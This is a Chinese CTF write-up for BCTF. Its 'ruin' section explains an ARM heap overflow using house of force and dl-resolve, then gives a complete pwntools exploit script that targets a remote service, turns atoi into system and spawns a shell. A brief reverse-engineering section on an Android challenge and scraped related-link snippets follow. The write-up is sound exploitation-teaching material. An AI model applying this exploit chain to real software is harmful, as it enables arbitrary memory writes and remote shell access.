Bctf-pwn_ruin-re_lastflower
Pwn-ruin
用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolve
Info leak:

在printf key8时,泄漏堆上地址(secret里放的是堆上地址)。

增大top chunk的大小

可以保证下一次malloc时,申请到任意地址内存

申请内存,覆盖secret, name, key16

使得内存结构为:
Addr data
00010FB4(addr of secret) pointer to name(00010fb8)
00010fb8(addr of name)
00010fbc(addr of key16)
这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。

利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里'atoi'被修改为了'system',所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。

from pwn import *
import time
#by wah
#context.log_level = 'debug'
#s = remote('127.0.0.1', 10001)
s = remote('166.111.132.49', 9999)
'''
time.sleep(1)
print 'ruin pid is %d' % pwnlib.util.proc.pidof('ruin')[0]
'''
raw_input('go!') s.recvuntil('please input your 8-bit key:')
s.send('')
heap = s.recvuntil(' ')[8:-1]
heapaddr = u32(heap.ljust(4,'\x00'))
topaddr = heapaddr + 0x8
print 'heap addr is ' + str(heapaddr)
print 'top chunk addr is ' + str(topaddr) s.recvuntil('please input your 8-bit key:')
s.send('security')
s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
s.sendline('a'*8 + p32(0) + '\xff\xff\xff\xff') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
s.sendline('') namelen = 0x10fa8 + 0x100000000 - 8 - topaddr
namelen = 0xffffffff^namelen+1
s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your name length:')
s.sendline('-' + str(namelen))
s.recvuntil('enter your name:')
#s.sendline('namename') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
#s.send(p32(0x00008594)*4)
s.send('a'*4 + p32(0x10fb8) + p32(0x10fb4)*2) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x200
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('\x00libc.so.6\x00exit\x00')
s.send('\x00libc.so.6\x00exit\x00') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x210
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('strncmp\x00puts\x00__s')
s.send('strncmp\x00puts\x00__s') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x220
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('tack_chk_fail\x00ab')
s.send('tack_chk_fail\x00ab')#ort\x00 s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x230
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('ort\x00stdin\x00printf')
s.send('ort\x00stdin\x00printf')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x240
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('\x00fgets\x00stdout\x00ma')
s.send('\x00fgets\x00stdout\x00ma')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x250
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('lloc\x00fread\x00syste')
s.send('lloc\x00fread\x00syste')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x260
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('m\x00setbuf\x00__libc_')
s.send('m\x00setbuf\x00__libc_') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
dynamic = 0x10ea0+4
s.sendline(2*p32(dynamic)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
atoigot = 0x00010F80
s.sendline(2*p32(atoigot)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len(4*p32(0x8574))
s.send(4*p32(0x8574)) s.recvuntil('Give me your choice(1-4):')
s.sendline('/bin/sh;')
s.interactive()
Lostflower
Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。

猜测让v13等于就可以,就是猜的!
进入check1,在my_pow()处下断点,进行观察函数功能。

在sub_1aa4处下断点,观察函数功能。

猜测让v11<0就可以,就是猜的!
调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x80000000,那么会被当作负数。
好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。

Bctf-pwn_ruin-re_lastflower的更多相关文章
- BCTF warmup 50
这是一道关于RSA的解密题:首先,我们要明白,通常是公钥加密.私钥解密,私钥签名.公钥验证.这个题目中给出的是一个公钥和一段密文. 刚开始一直以为和验证签名有关,费劲脑汁也想不出来怎么办.下面介绍些思 ...
- BCTF Web Code–考脑洞,你能过么?
BCTF Web Code–考脑洞,你能过么? 1)打开链接,是一张图片 根据URL特点推断可能是有文件包含漏洞 2) 将jpg参数修改成index.php,查看源代码,发现base64编码后的代码 ...
- BCTF赛后
今天早上八点,BTCF第一届落幕.虽然没有熬夜coding但还是十分开心. 从收到超哥的邀请,到回头组队,一开始的十几人,最后演化为五人的精简小分队,到昨晚把所有有想法的题目全部搞定,十分的开心和欣慰 ...
- 小情人emacs的自动补全
前天打字的时候发现手指疼-..OTL-思考了一下可能是我近几个月以来一直在使用全部手敲代码不使用自动补全的"恶果"(当然我还是建议全部手敲的,至少可以感觉到强烈的屌丝满足感). 先 ...
- 实战经验|大神战队都在i春秋教你打CTF
全国大学生信息安全竞赛创新实践能力赛旨在培养.选拔.推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系.教学内容和方法的改革,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学 ...
- (笔记)CTF入门指南
[考项分类] Web: 网页安全 Crypto: 密码学(凯撒密码等) PWN: 对程序逻辑分析 系统漏洞利用 Misc: 杂项 图片隐写 数据还原 脑洞类 信息安全有关的 Reverse: 逆向工程 ...
- ddctf2019--web部分writeup
0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...
- 实验吧web解题记录
自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...
- [DEFCON全球黑客大会] CTF(Capture The Flag)
copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...
- Attack Top Chunk之 bcloud
前言 这是 bctf 2016 的题,链接 https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-20 ...
随机推荐
- JavaScript 轮播图
这是我自己做的一个轮播图,大家可以看看 ,我还没进行优化.有改进的地方可以私聊 布局什么的你们自己搞定吧 <div class="slider" id="circl ...
- 关于iconfont
1. 从FONT-FACE说起 要想了解iconfont,得从一个新的css3规则说起.css3中,新增了一种样式规则,@font-face,这个规则可以用来引入自定义的字体,到客户端.以前,我们的字 ...
- php.ini中最好禁止的一些函数
phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块.WEB 环境等信息. 危险等级:中 passthru() 功能描述:允许执行一个外部程序并回显输出,类似于 exec(). 危险等级 ...
- MVC学习 (一)
在学习MVC之前对asp.net MVC已经有了一些了解,但是还是有很多的疑问,接下来我慢慢来看书学习并带着问题写博客以作记录. 1.MVC是什么? 2.Asp.net MVC和传统的Asp.net ...
- OpenLayers加载QQ地图(转)
OpenLayers加载QQ地图 http://www.openlayers.cn/portal.php?mod=view&aid=4 2012-10-21 17:22| 发布者: admin ...
- 学习asp.net比较完整的流程
如果你已经有较多的面向对象开发经验,跳过以下这两步: 第一步 掌握一门.NET面向对象语言,C#或VB.NET 我强烈反对在没系统学过一门面向对象(OO)语言的前提下去学ASP.NET. ASP.NE ...
- BullseyeCoverage:代码覆盖率。
1,安装和使用步骤 阅读READER文档.并安装(非常简单,README中有详细指令说明) 配置环境:同样可以阅读相关文档. 增加PATH环境变量.需要注意,此路径需要增加在PATH的最前列.即< ...
- linux网络编程:select()函数以及FD_ZERO、FD_SET、FD_CLR、FD_ISSET(转)
从别人的博客中转载过来了这一篇文章,经过重新编辑排版之后展现于此,做一个知识点保存与学习. select函数用于在非阻塞中,当一个套接字或一组套接字有信号时通知你,系统提供select函数来实现多路复 ...
- jQuery + css 公告从左往右滚动
$(function() { // 公告滚动 $(".notice-content").textScroll(); }); /** * 从右往左滚动文字 * @returns {u ...
- Python之路第六天,基础(7)-正则表达式(re)
Python RE模块(正则表达式) 就其本质而言,正则表达式(或 RE)是一种小型的.高度专业化的编程语言,(在Python中)它内嵌在Python中,并通过 re 模块实现.正则表达式模式被编译成 ...